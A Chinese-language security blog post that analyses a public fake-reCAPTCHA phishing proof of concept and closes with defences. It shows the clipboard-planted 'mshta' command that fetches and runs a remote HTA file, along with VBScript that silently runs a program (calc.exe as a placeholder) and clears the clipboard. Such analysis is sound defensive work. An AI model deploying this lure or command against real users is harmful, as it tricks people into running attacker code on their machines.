reCAPTCHA 變身釣魚陷阱?揭秘利用 HTA 的新型網路攻擊
2024-09-24 07:45:26

介紹:reCAPTCHA與釣魚攻擊的結合

在日常網路使用中,reCAPTCHA 無疑是許多人都會接觸到的一個防禦機制。而它的主要用途是防止機器人自動化操作網站,如濫發廣告或進行惡意註冊等。由於其設計目的是提升安全性,一般人會將其與網路防護機制聯繫在一起,而並非潛在的威脅。然而,由 John Hammond 發出來的這個 Github (https://github.com/JohnHammond/recaptcha-phish) 展現了一個令人意想不到的可能性——利用虛假的 reCAPTCHA 介面進行釣魚攻擊。

本文將探討這個惡意程式的運作模式,尤其是利用了 HTA (HTML Application) 技術,以欺騙使用者並執行惡意 VBScript。本文還會解析範例中的程式碼,分析如何使用虛假的 reCAPTCHA 圖像和訊息,來引誘受害者執行惡意程式並避免被輕易察覺。


HTA 技術的簡介與使用

HTA (HTML Application) 是一種在 Windows 環境下執行的 HTML 和 VBScript 設計應用程式。所建立的 HTA 應用程式像是本地應用一樣執行,不會受到網頁瀏覽器的限制,這使其能夠完全操控使用者的系統。HTA 支援大量指令碼語言與特性,可以執行如 VBScript、JScript 和批次處理等程式語言,這使得它成為濫用與攻擊的潛在向量。

範例的關鍵點在於使用 HTA 和 VBScript,來悄悄執行 Windows 上的指令。在示範的範例中,HTA 程式打開視窗,展示虛假的過程,但在幕後卻運行了一個電腦應用程式 (calc.exe),同時清除剪貼簿資料,這些動作本質上看起來無害,但實際上,它們可以被替換為更具攻擊性甚至危險的實際行動,例如何時下載惡意軟體或啟動針對系統的攻擊。

如果到這邊可能還不知道 HTA 具體是什麼,可以載下來這個程式看看(使用 Windows) ,應該就可以大概理解了


程式碼解析與運作流程

前端的主要模擬內容

alt text

  1. reCAPTCHA 視覺模擬

    • 頁面使用 CSS 和 JavaScript 模擬了 reCAPTCHA 的視覺效果,包括「I’m not a robot」的勾選框,並且附帶 Google reCAPTCHA 的 Logo,使得頁面外觀非常類似官方的驗證機制。
    • 當用戶點選勾選框時,會觸發一個模擬的驗證過程,其中包含動畫(例如旋轉的加載指示器)以模仿實際的 reCAPTCHA 驗證體驗。
  2. 引導機制

    • 模擬驗證完成後,會彈出一個「驗證」視窗,聲稱需進一步驗證用戶身份。
    • 在這個視窗中,引導用戶依據步驟按下 Windows + R,打開執行視窗,然後使用 Ctrl + V 將系統剪貼板中的命令貼入執行。
    • 剪貼板中的內容包含一個用「mshta」執行的惡意命令(透過 HTA 檔案運行,mshta 是 Windows 中用來執行 .hta 文件的命令)。
  3. 惡意操作

    • JavaScript 的 stageClipboard 函數被用來將惡意的 HTA 下載路徑和驗證 ID 寫入剪貼板,利用用戶信任來執行惡意操作。
    • 最終,若用戶按照提示操作,將會自行執行保存在剪貼板中的 HTA 文件,這將開啟執行惡意內容的可能性。

這邊的指令為

1
mshta http://192.168.9.2:8000/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 7092''

意思是利用 mshta 開啟 http://192.168.9.2:8000/recaptcha-verify 這個網頁(如果有需要複現,可以簡單利用 python -m http.server 8000 即可架設簡易網頁複現)

複製貼上之後,執行了什麼

該範例利用 HTML 的結構展現了一個與真實 reCAPTCHA 相似的視覺元素,試圖給使用者一種合法的視覺錯覺。下方為範常式式骨架包含的 reCAPTCHA 樣式元素:

1
2
3
4
5
6
7
8
9
10
11
12
13
<body>
<img src="https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png" alt="reCAPTCHA Logo">
<div id="connecting" style="display:block;">
<p>Verifying reCAPTCHA, please wait...</p>
</div>
<div id="error" style="display:none;">
<p><b>Failed to connect with the reCAPTCHA server.</b><br>Try the verification steps again.</p>
</div>
<p class="terms">
<a href="https://www.google.com/intl/en/policies/privacy/">Privacy</a> -
<a href="https://www.google.com/intl/en/policies/terms/">Terms</a>
</p>
</body>

一開始,頁面會顯示 reCAPTCHA 驗證進行中的訊息(”Verifying reCAPTCHA, please wait…”),然而,這僅僅是前端的假象。在背後,惡意 VBScript 已經在執行(這邊已打開計算機來比喻惡意程式)。
alt text

VBScript 邏輯與攻擊過程

當前臺顯示 reCAPTCHA 驗證提示時,背後的 VBScript 技術悄然啟動:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Sub Window_onLoad
Window.ResizeTo 520, 480
Window.MoveTo (Screen.Width - 300) / 2, (Screen.Height - 400) / 2

Set objShell = CreateObject("WScript.Shell")

' 執行電腦軟體作為測試,因此此處可替換為任何惡意操作
objShell.Run "calc.exe", 0, False

' 清除使用者剪貼簿資料,為了避免殘留痕跡
ClearClipboard

' 類比延遲,故意讓前端卡頓以讓使用者等待
objShell.Run "timeout /T 2 /nobreak", 0, True
Call HideConnectingShowError
objShell.Run "timeout /T 1 /nobreak", 0, True
End Sub

1. 視窗調整與設定

預設應用程式會打開一個520﹡480的視窗,強制使用者的注意力集中於此。

2. 隱藏指令行執行惡意程式

使用 WScript.Shell 來執行指令行指令。範例中是執行 calc.exe (電腦程式),這雖然無害,但這裡可以輕易被悪意攻擊者替換成任何其他指令,如下載並安裝惡意軟體或打開後門渠道。

3. 清除剪貼簿以隱藏痕跡

惡意程式還會清理剪貼簿,防止使用者貼上到的敏感資料被攻擊者檢視或利用。

1
2
3
4
5
6
Sub ClearClipboard
Dim objHTML
Set objHTML = CreateObject("htmlfile")
objHTML.parentWindow.clipboardData.setData "text", ""
Set objHTML = Nothing
End Sub

4. 欺騙性延遲和錯誤訊息

在透明的過程後,使用者會看到一個錯誤訊息,告訴他們驗證失敗,需重試。這是一個典型的欺騙手法,給使用者的感覺好像只是技術故障,而無法察覺背後執行的惡意行動。

整個攻擊流程大概如下所示

graph TD
    A[使用者點擊" I'm not a robot "] -->|觸發事件| B[隱藏勾選框]
    B -->|顯示驗證動畫| C(展示載入旋轉圖示)
    C -->|短暫延遲後| D[顯示驗證步驟視窗]
    D --> E[引導使用者按下 Windows + R]
    E --> F[引導使用者複製並貼上剪貼簿指令 (mshta)]
    F --> G[使用者按下 Enter]
    G --> H{HTA 檔案執行}
    H --> I[可能的惡意程式執行]

風險分析與針對性防護策略

此類攻擊利用人們對於合法功能(如 reCAPTCHA)的信任,來進行社會工程學攻擊。該攻擊模式極具欺騙性,especially 因為前端顯示的合法 Google 元素很容易讓受到攻擊的受害者懷疑被釣魚的可能性。

風險點

  1. 可信度高:此攻擊方式模仿的是知名的 Google reCAPTCHA 驗證服務,且使用了其官方商標和連結,因此容易獲得信任。
  2. HTA 應用程式的原生特權:HTA 在 Windows 應用程式中具有高權限,這使得 VBScript 可以直接執行系統指令,大幅度提高了攻擊的危險性。
  3. 隱蔽性高:攻擊者可以替換範例中的惡意執行指令,而受害者不容易察覺。此外,攻擊會短暫執行,使用者只會看到一個錯誤的 reCAPTCHA 驗證錯誤訊息,不會起疑心。

防護措施

  1. 避免執行未信任來源的 HTA 檔案:企業安全策略中應禁止員工執行 HTA 檔案,避免此類混淆攻擊。
  2. 監視 Windows 中的異常活動:企業或使用者可以啟用適當的 EDR(端點偵防技術)工具,來偵測並阻止不正常的活動,例如不常見的 HTA 應用程式及開啟 Shell 指令的行為。

總結

該範例為一個虛假的 reCAPTCHA 頁面,旨在模仿合法的驗證操作,後端利用 HTA 技術執行惡意 VBScript 指令。這種攻擊手法依賴於社會工程學中的信任以及 HTA 自帶的高權限執行能力。同時,藉由模仿合法的 Google 素材和標識,攻擊者更能成功欺騙目標。不過針對此類攻擊,本團隊可以透過多種策略來加強防禦,包括避免執行可疑檔案並利用安全工具進行監測與攔截。

Prev
2024-09-24 07:45:26